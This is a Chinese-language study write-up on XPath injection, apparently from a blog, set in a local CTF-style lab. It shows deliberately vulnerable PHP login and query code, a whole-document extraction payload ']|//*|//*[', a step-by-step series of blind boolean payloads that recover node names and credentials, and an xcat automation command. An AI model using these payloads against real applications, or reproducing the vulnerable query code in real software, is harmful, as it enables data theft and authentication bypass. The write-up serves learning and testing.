mysql xpath注入_XPath注入学习

XPath注入学习

这篇记录是看完先知社区:XPATH注入学习写的,所以可能很多内容是重复的。写这篇记录仅仅为了让自己更好的掌握XPath注入。

0x01 XPath入门

在学习XPath注入之前,先了解一下什么是XPath

学习入口:W3school学习XPath

按照我个人的理解,XPath就是用于查询xml节点的查询语句,类似于T-SQL。

0x02 XPath注入原理

XPath注入原理类似于SQL注入,当程序没有对用户输入的数据进行过滤就拼接到XPath查询语句中时,就可能产生XPath注入。但是与SQL注入不同的时,XPath没有用户权限这一说法,所以XPath注入容易导致所有XML数据泄露。

0x03 实例

实例1

// 1.php

$xml = simplexml_load_file('test.xml');

$query = "user/username[@name='" . $_GET['name'] . "']";

$result = $xml->xpath($query);

foreach($result as $k => $v){

echo $k . ' => ' . $v . '
';

}

?>

user1_value

user2_value

user3_value

user4_value

user5_value

user6_value

user7_value

flag{57e7f266bb0dc62f2cb0f25976c14e93}

正常XPath功能

当我们访问地址http://ctf.cn/1.php?name=user1时,查询语句是:user/username[@name='user1']。所以会查询user下的username节点,且username节点name属性的值为user1的节点内容。返回结果如下:

mysql xpath注入_XPath注入学习_第1张图片

判断注入点

当我们在参数值中输入单引号'时,页面出现XPath查询报错,说明可能存在XPath注入。

此时的XPath语句:user/username[@name='user1'']

mysql xpath注入_XPath注入学习_第2张图片

进一步判断注入点(获取更多数据)

当我们输入' or '1'='1时,可以看到将user/username下的所有节点值都查询出来了。

此时的XPath语句:user/username[@name='user1' or '1'='1']

mysql xpath注入_XPath注入学习_第3张图片

获取整个xml文件数据

但是我们显然是不满足于获取这点数据的,XPath中一个类似于SQL注入中' or '1'='1的payload:']|//*|//*[',我们尝试一下:

此时的XPath语句:user/username[@name='user1']|//*|//*['']

mysql xpath注入_XPath注入学习_第4张图片

payload解析

payload:']|//*|//*['

这里首先通过']闭合前面的语句,然后使用|运算符(使用|拼接多个语句时会返回多个语句查询结果的节点并集)拼接多个语句。

拼接的//*查询文档中所有元素

最后的//*['是为了闭合后面的']

实例2

在一些情况下,虽然后台代码执行了我们注入的XPath语句,当时没有回显数据,这时候就需要一些手段来进行盲注了。

// login.php

username:

password:

if (file_exists('account.xml')) {

$xml = simplexml_load_file('account.xml');

if ($_POST['submit']) {

$username = $_POST['username'];

$password = $_POST['password'];

$x_query = "/accounts/user[username='{$username}' and password='{$password}']";

print_r('XPath query:' . $x_query);

$result = $xml->xpath($x_query);

if (count($result) == 0) {

echo '

登录失败';

} else {

echo "

登录成功";

$login_user = $result[0]->username;

echo "you login as $login_user";

}

}

}

?>

Twe1ve

[email protected]

administrator

P@ssword123

test

[email protected]

normal

123456

下面的内容很多是照抄的,但是加了自己对payload细节的理解

XPath盲注步骤:

判断根节点下的节点数量

判断根节点下节点长度

判断根节点下节点名称

......

重复猜解完成所有

从根节点开始判断

count()函数返回节点数量

'or count(/)=1 and ''='

'or count(/*)=1 and ''='

这里的count(/)和count(/*)效果是一样的,都是获取根节点数量。而一个xml文件,仅允许有一个根节点,所以按照我个人的理解,这一步应该可以省略(非权威!!!)。然后还发现文章中的payload结尾用or ''='的话表达式恒等于真,没法判断,所以我改用and ''='了。

判断根节点长度为8

string-length()函数返回字符串长度

'or string-length(name(/*[1]))=8 and ''='

或者

'or string-length(name(/*))=8 and ''='

因为只有一个根节点,可以不使用[1]来指定第一个节点

猜解根节点名称

substring()函数类似于mysql的substring()

'or substring(name(/*[1]), 1, 1)='a' and ''='

或者

'or substring(name(/*), 1, 1)='a' and ''='

最终猜测得出根节点名称为:accounts

猜解根节点accounts下的子节点数量

' or count(/accounts/*)=2 and ''='

猜解根节点accounts下的第一个子节点名称长度

' or string-length(name(/accounts/*[1]))=4 and ''='

猜解根节点accounts下的第一个子节点名称

' or substring(name(/accounts/*[1]),1,1)='u' and ''='

最终猜测得出名称为:user

猜解/accounts/user下第一个子节点名称长度

' or string-length(name(/accounts/user/*[1]))=8 and ''='

猜解/accounts/user下第一个子节点名称

' or substring(name(/accounts/user/*[1]),1,1)='u' and ''='

最终猜测得出名称为:username

验证猜解结果

' or substring(name(/accounts/user[1]/*[1]),1)='username' and ''='

继续猜解/accounts/user[1]/username[1]/下是否有子节点

' or count(/accounts/user[1]/username/*)=0 and ''='

长度=0,无子节点

猜解/accounts/user[1]/username[1]的数据长度

' or string-length(/accounts/user[1]/username[1])=6 and ''='

数据长度为6

猜解/accounts/user[1]/username[1]的数据

' or substring((/accounts/user[1]/username[1]),1,1)='T' and ''='

最终数据为:Twe1ve

以此类推,最终获得所有的数据

0x04 自动化

手工盲注的时候你肯定很想念SQL注入中的sqlmap,XPath也有自动化的注入工具:XCat

官方和--help的使用说明着实让我难受,我这里就贴出我使用的命令行:

xcat run -e FORM -m POST --true-string Twe1ve http://ctf.cn/login.php password password=P@ssword123

// login.php

// account.xml是引用实例2中的

if (file_exists('account.xml')) {

$xml = simplexml_load_file('account.xml');

$username = 'Twe1ve';

$password = $_POST['password'];

$x_query = "/accounts/user[username='{$username}' and password='{$password}']";

//print_r('XPath query:' . $x_query);

$result = $xml->xpath($x_query);

if (count($result) == 0) {

echo '

登录失败';

} else {

echo "

登录成功";

$login_user = $result[0]->username;

echo "you login as $login_user";

}

}

?>

命令解析:

run 注入数据

-e 有两个值,URL或FORM,分别指定将payload放在URL上还是FORM上,就是get和post

--true-string 指定当页面出现某个字符串时查询条件为真,这里设置Twe1ve是因为登录成功时会提示登录成功you login as Twe1ve

password 请求参数

password=P@ssword123 请求参数的值,当值为P@ssword123时查询语句为真

在使用过程中,发现xcat无法指定多个参数。也就是说,xcat测试POST参数存在注入的时候只能发送username=admin,不能发送username=admin&password=pass。GET好像可以通过-b来指定一个文件,但是具体没有尝试过。通过多次测试没有找到可正常使用的办法,太菜了!

执行结果:

mysql xpath注入_XPath注入学习_第5张图片

未解决的问题

看到先知社区:XPATH注入学习中一些payload使用position()=1来定位第1个节点,但是用[1]一样可以,为什么要写更复杂,这里我没有弄明白。希望各位师傅们能指点一下。

mysql xpath注入_XPath注入学习_第6张图片

mysql xpath注入_XPath注入学习_第7张图片

mysql xpath注入_XPath注入学习_第8张图片

有不对的地方,还望各位师傅斧正!

你可能感兴趣的:(mysql,xpath注入)